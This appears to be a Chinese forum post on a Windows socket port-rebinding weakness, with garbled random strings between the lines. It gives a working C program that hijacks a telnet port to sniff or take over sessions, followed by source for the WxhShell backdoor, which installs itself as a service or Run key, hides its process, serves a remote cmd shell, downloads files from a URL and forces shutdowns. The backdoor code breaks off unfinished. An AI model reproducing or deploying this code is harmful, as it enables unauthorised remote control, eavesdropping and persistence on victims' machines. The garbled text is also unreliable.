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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >,nK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E=qfI>2U& /X?%K't2r saddr.sin_family = AF_INET; ^*WO*f>y 5[H1nC
@C saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3IQ-2 X-- {hx=6"@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j]6YLM@5$ U
sV?} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j +Ro? |6~ Kin 这意味着什么?意味着可以进行如下的攻击: Dos';9Uq pwo @
S" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K#]FUUnj= k<%y+v 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s h}eKwh D^A#C<Gs 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GX%r- T,v5cc:nO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 G[Jz(/yNH TGI`}# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 57:27d0y |/!RN[< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v|2+7N:[; gOk um_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 13/U4-%b2 )h/Qxf #include d>x(Bj6 #include r%%< #include me@EKspX #include JiRfLB DWORD WINAPI ClientThread(LPVOID lpParam); 1yjP`N int main() DK(8Ml:k { Ikgia:/-Z WORD wVersionRequested; i/F].Sag DWORD ret; (2r808^2 WSADATA wsaData; \7 }{\hY- BOOL val; >@q4Uez SOCKADDR_IN saddr; |JTDwmR SOCKADDR_IN scaddr; TU?$yNE int err; {-L}YX"Bh SOCKET s; ~0Mw\p%} SOCKET sc; zCSLV>.F int caddsize; }1Pv6L(o) HANDLE mt; ~lH2#u>g DWORD tid; N-}|!pqb wVersionRequested = MAKEWORD( 2, 2 );
8V+ err = WSAStartup( wVersionRequested, &wsaData ); fnudy%oo if ( err != 0 ) { >`+lEob printf("error!WSAStartup failed!\n"); qEnmms 1 return -1; :47"c3J } }Z% j=c"d saddr.sin_family = AF_INET; wW0m}L }~! D]/B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u1/q8'RW );fPir?+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,~7+r#q7 saddr.sin_port = htons(23); ]VK9d;0D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5S&^mj-9 { LH>h]OTQF printf("error!socket failed!\n"); seNH/pRb return -1; IYB;X } }r:8w*47 val = TRUE; ~D!Y]
SK //SO_REUSEADDR选项就是可以实现端口重绑定的 K?,`gCN}v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hv|(V3- { {fu[&@XV printf("error!setsockopt failed!\n"); *jo1? return -1; )iCg,?SSw= } a}7P:e*u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :*)b<:4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k 1;Jkq~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [N1[khY` i-Ri;E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8rSu,&< { [jgC` ret=GetLastError(); &A~(9IV printf("error!bind failed!\n"); E1Rz<&L return -1; 73(5.'F } 0coRar?+b listen(s,2); d(6&kXK while(1) zK&J2P` { f9J]-#I if caddsize = sizeof(scaddr); u
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//接受连接请求 [`=:uUf3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $q$\ if(sc!=INVALID_SOCKET) ;%xG bg!lg { e}q!m(K]e- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zz56=ZX*_ if(mt==NULL)
`;#I_R_K { JL&ni]m printf("Thread Creat Failed!\n"); _ +A$6l break; 'K3%@,O } >s"kL^ } mS >I#? CloseHandle(mt); ?=\_U } v$bR&bCT closesocket(s); u3_AZ2-; WSACleanup(); \|Ya*8V return 0; =!PUKa3f< } 5b%zpx0Y DWORD WINAPI ClientThread(LPVOID lpParam) 0+"P1/ { \}NZ]l SOCKET ss = (SOCKET)lpParam; R,[+9U|4V SOCKET sc; >)S'`e4Gu unsigned char buf[4096]; [LHfH3[gU SOCKADDR_IN saddr; RaY=~g long num; =/F\_/Xw DWORD val; PVUNi: h DWORD ret; aW#_"Y}v' //如果是隐藏端口应用的话,可以在此处加一些判断 J`{HMv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 HH,G3~EBF saddr.sin_family = AF_INET; n"Q fW~ U saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [:C!g#o saddr.sin_port = htons(23); Xu&4|$wB+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DSx D531[A { 7(bE;(4 printf("error!socket failed!\n"); }-ysP$ return -1; j8#B } >l|dLyiae val = 100; YfOO]{x,X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O{`r.H1', { + Ek('KOF ret = GetLastError(); vt-53fa| return -1; |&a[@(N:zf } Z
)dz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9{V54ue; { 5T;,wQ< ret = GetLastError(); `jB2' return -1; ce P1mO } *ocbV` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >VWH
bo { #3act)m printf("error!socket connect failed!\n"); zMQ|j_l9E closesocket(sc); Qr
l> A* closesocket(ss); _w>9Z>PR return -1; cYMlcwS } Q!dNJQpb while(1) "Hw%@ { &-1;3+#w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +R?d6IjH //如果是嗅探内容的话,可以再此处进行内容分析和记录 g>*t"Rf: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A1,- qv1s num = recv(ss,buf,4096,0); sd~T if(num>0) ^zr]#`@G send(sc,buf,num,0); B?tO&$s else if(num==0) Pkw` o # break; U4@W{P02 num = recv(sc,buf,4096,0); 'F@#.Op` if(num>0) +e%U6&l{ send(ss,buf,num,0); 3yfq*\_uXw else if(num==0) ^#4?v^QNh break; Fhn=}7|4q } w&7-:."1i closesocket(ss); H `V3oS~} closesocket(sc); HwH Wi return 0 ; $3Ct@}=n } oZV=vg5Dq ~agzp`!M ^{T3lQvt ========================================================== )c#m<_^
]jz%])SzH 下边附上一个代码,,WXhSHELL tzhkdG TKsze]/q ========================================================== Uaho.(_GP ='0f#>0Q #include "stdafx.h" #~r+ jyt#C7mj-A #include <stdio.h> )k8=< =s #include <string.h> YolO-5 #include <windows.h> AqKl}8 #include <winsock2.h> <z*SO
a #include <winsvc.h> KGclo-, #include <urlmon.h> /QsFeH <ealt #pragma comment (lib, "Ws2_32.lib") e%'$Vx0kA #pragma comment (lib, "urlmon.lib") j3bTa|UdT [9WtoA,kx #define MAX_USER 100 // 最大客户端连接数 _|S>,D' #define BUF_SOCK 200 // sock buffer _G!lQ)1 #define KEY_BUFF 255 // 输入 buffer [y73
xF onM ~*E #define REBOOT 0 // 重启 Ne<"o]_M #define SHUTDOWN 1 // 关机 DG x9 \8^ kN4nRW9z #define DEF_PORT 5000 // 监听端口 rdsm
/^,s d]OoJK9&& #define REG_LEN 16 // 注册表键长度 Vs~^r> #define SVC_LEN 80 // NT服务名长度 gOI#$-L UlHRA[SCv // 从dll定义API zv]-(<B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iAX\F` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9lA@ K[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P nsQ[}. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oQC* d}_E} l[O!_bH // wxhshell配置信息 2roPZj struct WSCFG { x+vNA J int ws_port; // 监听端口 qwu++9BM char ws_passstr[REG_LEN]; // 口令 OYJy;u3" int ws_autoins; // 安装标记, 1=yes 0=no _dj<xPO char ws_regname[REG_LEN]; // 注册表键名 ~(tZW char ws_svcname[REG_LEN]; // 服务名 <R7*00 char ws_svcdisp[SVC_LEN]; // 服务显示名 Sq&*K9:z char ws_svcdesc[SVC_LEN]; // 服务描述信息 S<f&?\wK=v char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w~EXO;L2 int ws_downexe; // 下载执行标记, 1=yes 0=no J'4{+Q_pa char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }(AUe5aw`G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >w jWX{&? aTs5^Kh') }; f- pt8 :<=!v5 SK // default Wxhshell configuration 0K'lr;
struct WSCFG wscfg={DEF_PORT, <JHU*Z "xuhuanlingzhe", PKR0y%Ar 1, rm>;B
*; "Wxhshell", BBw`8! "Wxhshell", BbZ-dXC< "WxhShell Service", )#MKOsOct "Wrsky Windows CmdShell Service", pvTV* "Please Input Your Password: ", .b]g#Du= 1, *eL%[B " http://www.wrsky.com/wxhshell.exe", k0?4vA "Wxhshell.exe" |H5){ 2V>K }; 0/<}.Z] [kzcsJ'/e // 消息定义模块 cD8.rRyD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q{!lLka char *msg_ws_prompt="\n\r? for help\n\r#>"; M}}9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 3O<<XXar char *msg_ws_ext="\n\rExit."; {o7ibw=E) char *msg_ws_end="\n\rQuit."; N{`-&8q;K char *msg_ws_boot="\n\rReboot..."; z.eqOPW char *msg_ws_poff="\n\rShutdown..."; E=w $r char *msg_ws_down="\n\rSave to "; &by,uVb=|{ 673v char *msg_ws_err="\n\rErr!"; (o{-1Dg) char *msg_ws_ok="\n\rOK!"; JGSeu =) uJMF\G=nb char ExeFile[MAX_PATH]; $Ha?:jSc int nUser = 0; e%N\Pshgv HANDLE handles[MAX_USER]; m:/@DZ int OsIsNt; "j3Yu4_ks '/SMqmi SERVICE_STATUS serviceStatus; SxC$EQgL SERVICE_STATUS_HANDLE hServiceStatusHandle; $I-$X? N7%Jy?-+ // 函数声明 bXc7$5(!VB int Install(void); Mq42^m:qe int Uninstall(void); a9"x_IVU int DownloadFile(char *sURL, SOCKET wsh); 7'j?GzaQ+ int Boot(int flag); J$&!Y[0 void HideProc(void); 9M~EH?>+[ int GetOsVer(void); A) p}AEBc int Wxhshell(SOCKET wsl); IoJkM-^H&) void TalkWithClient(void *cs); 'Y6{89 y int CmdShell(SOCKET sock); Kom$i<O?48 int StartFromService(void); TF|GGYi int StartWxhshell(LPSTR lpCmdLine); W!I"rdo;V o&g=Z4jj< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6<NaME VOID WINAPI NTServiceHandler( DWORD fdwControl ); W$N_GR'4 s>~!r.GC // 数据结构和表定义 {8Hrb^8! SERVICE_TABLE_ENTRY DispatchTable[] = O?D*<rwD { {{f%w$r( {wscfg.ws_svcname, NTServiceMain}, !y'LKze+G {NULL, NULL} C>N)~Ut }; XV)ej>A-V f`p`c* // 自我安装 O\XN/R3 int Install(void) )#T(2A { k x6%5% char svExeFile[MAX_PATH]; it5].A& HKEY key; 6"[`"~9'V strcpy(svExeFile,ExeFile); '%V ;oJ" :r:5a(sq // 如果是win9x系统,修改注册表设为自启动 f_9%kEXICt if(!OsIsNt) { 7&:gvhw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Me*QYD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %&4sHDP RegCloseKey(key); Q)C#)|S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f<uLbJ6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g!V;*[ RegCloseKey(key); 8Y
sn8 return 0; Vg\EAs>f } M=x/PrY"R } pJVzT,poh } :"3WCB else { Bg"b,&/^u *@dRL3c^= // 如果是NT以上系统,安装为系统服务 4kT| /bp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2hw3+o6 if (schSCManager!=0) =YB3^Z { hBLJKSv SC_HANDLE schService = CreateService EfcoJgX ( ^;<s"TJ(m) schSCManager, jWiB_8-6 wscfg.ws_svcname, $9+}$lpPd wscfg.ws_svcdisp, IcoK22/ SERVICE_ALL_ACCESS, {w(6Tc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7cr+a4 T33 SERVICE_AUTO_START, T}$1<^NK SERVICE_ERROR_NORMAL, @GBS-iT3 svExeFile, C"<l} NULL, 4.|]R8Mn NULL, I`t"Na2i NULL, [O&2!x NULL, pxM^|?Hxc NULL L<J';#BD ); j S')!Wcu if (schService!=0) 3:YZC9 { 1V+a;-? CloseServiceHandle(schService); V Z}^1e CloseServiceHandle(schSCManager); +Ys<V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]B:g<}5$4 strcat(svExeFile,wscfg.ws_svcname); :w#Zs)N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ya5;C" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pTST\0? RegCloseKey(key); {Rc/Ten return 0; tUGnD<P } s59v*
/ } z=N'evx~ CloseServiceHandle(schSCManager); AVOzx00U } {e<J}-/? } (%oZgvM ,`^B!U3m return 1; 69!J'kM[ } cnnlEw/& Nw+0b4{ // 自我卸载 ;jfjRcU int Uninstall(void) O9r3^y\>I { <[Q#}/$" HKEY key; ]N*q3 y|) gLsl/G if(!OsIsNt) { zg.' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `5r*4N< RegDeleteValue(key,wscfg.ws_regname); - A
x$ Y RegCloseKey(key); <dV|N$WV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Y(Phw2% RegDeleteValue(key,wscfg.ws_regname); 6|V713\ RegCloseKey(key); `pn]jpW9 return 0; ua/A &XQx } ecA:y!N } _SY<(2s]B } mv/'H^"[_ else { `4'v)!? NN\% X3ri" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mEa\0oPGB if (schSCManager!=0) k_r12Bu { pD9*WKEf* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yc8iT` if (schService!=0) (*;b\h { 9.m_3"s if(DeleteService(schService)!=0) { AY5%<CWj8 CloseServiceHandle(schService); R(74Px,/ CloseServiceHandle(schSCManager); "A~\$ return 0; $iUK,
? } DxdiXf[j CloseServiceHandle(schService); j5Vyo> } "o*(i7T=n CloseServiceHandle(schSCManager); *NS:X7p!V } {CG%$rh } &?"(al? \l?\%aqm return 1; VU J*\Sg } Ck%nNy29 3 q^3znt // 从指定url下载文件 dGt;t5AnV int DownloadFile(char *sURL, SOCKET wsh) Z*tB= { \rn:/ HRESULT hr; 8L`J](y char seps[]= "/"; ;+'x_'a char *token; gXZC%S char *file; dT4?8: char myURL[MAX_PATH]; )s5Q4m! char myFILE[MAX_PATH]; mY*JNx _<yGen- strcpy(myURL,sURL); tV%:sk^d token=strtok(myURL,seps); wb~#=6Y while(token!=NULL) sMlY!3{Ix { NYA, file=token; ~2@+#1[g8z token=strtok(NULL,seps); LX[<Wh_X( } L:nZ_O; 5tdFd"oo GetCurrentDirectory(MAX_PATH,myFILE); rz+)z:u strcat(myFILE, "\\"); % 3d59O strcat(myFILE, file); R*VRxQ,h6+ send(wsh,myFILE,strlen(myFILE),0); %ZF47P%6 send(wsh,"...",3,0); 48vKUAzx` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S+
gzl#r if(hr==S_OK) a'u:1C^\ return 0; C ?JcCD2 else XZde}zUWn return 1; piIj
t VRQ'sn@ } [0<N[KZ) 7TD%vhbiwi // 系统电源模块 z2*>5c% int Boot(int flag) :l~Wt7R { eLWD?-v% HANDLE hToken; hC2 @Gq TOKEN_PRIVILEGES tkp; nb::, UfIH!6Q if(OsIsNt) { Y`
t-Bg!~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~3bH2,{L[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gg
$/ tkp.PrivilegeCount = 1; 1(t{)Z< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k|Mj|pqA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z/Z
0cM# if(flag==REBOOT) { 3}*)EC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8 :B(}Y4K return 0; *{[jO&&J } t)o!OEnE else { )RV.N}NU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <*k]Aa3y return 0; uU_lC5A| } z0|%h?N } zr#n^?m else { fGGGz$;N if(flag==REBOOT) { jyB^a;- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ukNB#2" return 0; #fdQ\)#q> } PCKgdh}, else { ]$7dkP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /WqiGkHV* return 0; %*J'!PC9n } 0P)"_x_ } JR>v c*R?eLt/ return 1; G_OLUuK?C } mtfEK3?2* NABVU0}
// win9x进程隐藏模块 nz-( 8{ae void HideProc(void) U4PnQ
K, { -hv<8bC~4 sUl/9VKl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '1rHvz`B/" if ( hKernel != NULL ) !.\- l2f { 9qe< bds1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U42B(ow ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @o otKY` FreeLibrary(hKernel); nG Bjxhl } Q--Hf$D]H iH&BhbRu_ return; P[q` {TdV } 7l+>WB_] %N.qu_,IZ // 获取操作系统版本 +2&+Gh.h int GetOsVer(void) 4<c#3] { (>.+tq} OSVERSIONINFO winfo; `)Z+]5: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cx,)$!1 GetVersionEx(&winfo); dJ/(u&N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zI$24L9* return 1; &n 1 \^: else $)(K7> P return 0; ItLP&S= } LA\)B"{J .LQvjK[N // 客户端句柄模块 @ckOLtxE> int Wxhshell(SOCKET wsl) @)hrj2Jw { I{rW+<)QGC SOCKET wsh; i7 *cpNPO struct sockaddr_in client; Wu:@+~J.h DWORD myID; =A yDVWpE %BV2 q
while(nUser<MAX_USER) v8PH(d2{@ { 4=b{k,kzgA int nSize=sizeof(client); 6e%|.}U wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3jaY\(`%h if(wsh==INVALID_SOCKET) return 1; W{JNNf6G C{"uz_Gh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~C;1}P%9x if(handles[nUser]==0) |izf|*e closesocket(wsh); ;Xzay| else Td6Gu" nUser++; gp?|UMA9. } JE[+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xfq]vQ/{ ]n/fB|t E return 0; l>H G|ol } pN]$|#%q( @X\2K?c(v // 关闭 socket T@. $Zpz void CloseIt(SOCKET wsh) pbM"tr_A{ { +ISXyGu closesocket(wsh); uI'g]18Hi nUser--; 1zz.`.R2U ExitThread(0); TAXl73j_CY } K% Gbl# p]7Gj&a // 客户端请求句柄 Q<e`0cu|p void TalkWithClient(void *cs) OP-%t\sj> { @|2}*_3\ (ex^=fv SOCKET wsh=(SOCKET)cs; guD?~-Q char pwd[SVC_LEN]; lQ}e"#< char cmd[KEY_BUFF]; &dC #nw char chr[1]; @3UVl^T int i,j; Q I.*6-( rI[Lg0S while (nUser < MAX_USER) { d\cwUXf
J F!|?S:X if(wscfg.ws_passstr) { kP6P/F|RcZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kZlRS^6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u D.E>.B //ZeroMemory(pwd,KEY_BUFF); ;-G!jWt6Zi i=0; qwb`8o while(i<SVC_LEN) { -CTsB)=\, >Kd(.r[Er // 设置超时 LX
%8a^?; fd_set FdRead; xYMNyj~ struct timeval TimeOut; JMMsOA_] FD_ZERO(&FdRead); J{Z-4y FD_SET(wsh,&FdRead); I:~L!% TimeOut.tv_sec=8; !6wbg TimeOut.tv_usec=0; :*2+t- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GMw|@?:{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n
^T_pqV?X kUJ\AK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GQ-owH] pwd =chr[0]; YLlw:jN if(chr[0]==0xd || chr[0]==0xa) { *5i~N} pwd=0; $E^#DjhRQ3 break; 4LU'E%vlC } o(W|BD! i++; -S=Zsr\ } nI4xK ^}2 ie| // 如果是非法用户,关闭 socket F_SkS?dB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y/t:9Aau } p6V`b'*> >#@1
I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -(n[^48K send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [@}{sH(#Ta }lgqRg)F9[ while(1) { b8J\Lm|J `>fN?He ZeroMemory(cmd,KEY_BUFF); JlsRP kWfNgu$xK // 自动支持客户端 telnet标准 NgKbf vt j=0; %J`; while(j<KEY_BUFF) { 4/{Io &| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Izg1N cmd[j]=chr[0]; +a&-'`7g if(chr[0]==0xa || chr[0]==0xd) { y+RT[*bX5o cmd[j]=0; h2Ifq!(: break; {uO8VL5+Qx } 9p!V?cH#8 j++; !MB % } &7 }!U OwP9=9}; // 下载文件
0k5Zl? if(strstr(cmd,"http://")) { xPh%?j?*v send(wsh,msg_ws_down,strlen(msg_ws_down),0); +G&h if(DownloadFile(cmd,wsh)) Z*kGWL send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:WHql"Kw_ else V/+r"le send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ Z6/r^c } [E(DGt else { tc@U_>{ pFSVSSQRV| switch(cmd[0]) { OgrUP ?ZSG4La\ // 帮助 @Qx|!% case '?': { d@"eWvnlZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -!MDYj +U break; ew4IAF } @hm%0L // 安装 TE*$NxQ 2 case 'i': { 0+8ThZ?n if(Install()) bF'~&<c send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-$`GT?l else j:|60hDz^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3h";
2 break; ##u+[ ! } 5 v~Y> // 卸载 aQN`C{nY case 'r': { /[[zAq{OA if(Uninstall()) |.:O$/ Tt[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); %>i7A?L else mo#4jtCE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pP?J(0Q~ break; c6s(f } Sct-,K%i // 显示 wxhshell 所在路径 `Dh %c%j) case 'p': { N>Y`>5 char svExeFile[MAX_PATH]; Dt1{]~30 strcpy(svExeFile,"\n\r"); #X"\:yN strcat(svExeFile,ExeFile); VR_+/,~ send(wsh,svExeFile,strlen(svExeFile),0); |gxU;"2`5~ break; ACl:~7; } yixW>W} // 重启 :M|c,SQK case 'b': { 35RH|ci& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l$,l3 if(Boot(REBOOT)) An[*Jx send(wsh,msg_ws_err,strlen(msg_ws_err),0); =oT@h
9VI else { 1a4QWGpq closesocket(wsh); "XC6 l4Z ExitThread(0);
UUb!2sO } 2y_rsu\ break; J-?\,N1R7 } L{^DZg|E // 关机 AV d case 'd': { `yYgL@Zt send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q3NS?t! if(Boot(SHUTDOWN)) J@Zm8r< send(wsh,msg_ws_err,strlen(msg_ws_err),0); ).oqlA! else {
XN=<s;U closesocket(wsh); 5\=9&{WjND ExitThread(0); ts?b[v } &p;};n break; 1LPfn( } :jp?FF^j; // 获取shell ?783LBe case 's': { wmo'Pl CmdShell(wsh); @z/]!n\~ closesocket(wsh); _&(ij(H ExitThread(0); _\]D<\St break; o4~ft!> } n+Ag |.,| // 退出 w,}}mC)\* case 'x': { g+k6pi* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &g& &-=7) CloseIt(wsh); lf|^^2'*2< break; uqQMS&;+,| } Uw&+zJ // 离开 rXm!3E6JL case 'q': { A+F-r_]}db send(wsh,msg_ws_end,strlen(msg_ws_end),0); yPQ{tS*t closesocket(wsh); +'n1?^U WSACleanup(); /pk;E$qv exit(1); jQ^Ib]"K break; @nT8[v } epG;=\f}m` } 2~`dV_ } $`=?Nb@@#
u-K5 // 提示信息 .86..1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A.h?#%TLL } % qE#^ U } ?x[>g!r kW:!$MX! return; C,<TAm } _:K}DU'6 jU#%@d6!# // shell模块句柄 qt:->yiq+ int CmdShell(SOCKET sock) Wey\GQ`"8 { fZ376Z:S$ STARTUPINFO si; #-f^;=7 ZeroMemory(&si,sizeof(si)); (qG$u& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r9t{/})A si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l2v}PALs PROCESS_INFORMATION ProcessInfo; ;C{_T:LS char cmdline[]="cmd"; *AA1e}R{B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #rC/y0niH return 0; \bsm#vY, } ibAA:I,d gU%GM // 自身启动模式 2?ednMoE int StartFromService(void) >lj3MNSH { $_ i41f[ typedef struct DVS7N_cx2o { ri^yal<' DWORD ExitStatus; x!jhWX DWORD PebBaseAddress; 37[C^R!1c DWORD AffinityMask; Wm,,OioK DWORD BasePriority; evR= Z\
_ ULONG UniqueProcessId; GGuLxc?( ULONG InheritedFromUniqueProcessId; <@=NDUI3*, } PROCESS_BASIC_INFORMATION; C;ye%&g> W9D)QIqbvW PROCNTQSIP NtQueryInformationProcess; lm\u(3_$ 19vD(KC< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mzd}9x$'J static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :W&\}) {h=Ai[|l4Q HANDLE hProcess; [~o3S$C&7 PROCESS_BASIC_INFORMATION pbi; -+=8&Wa v uP1gem HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {8MF!CG] if(NULL == hInst ) return 0; q ^gEA5 QHh#O +by# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FN
R&
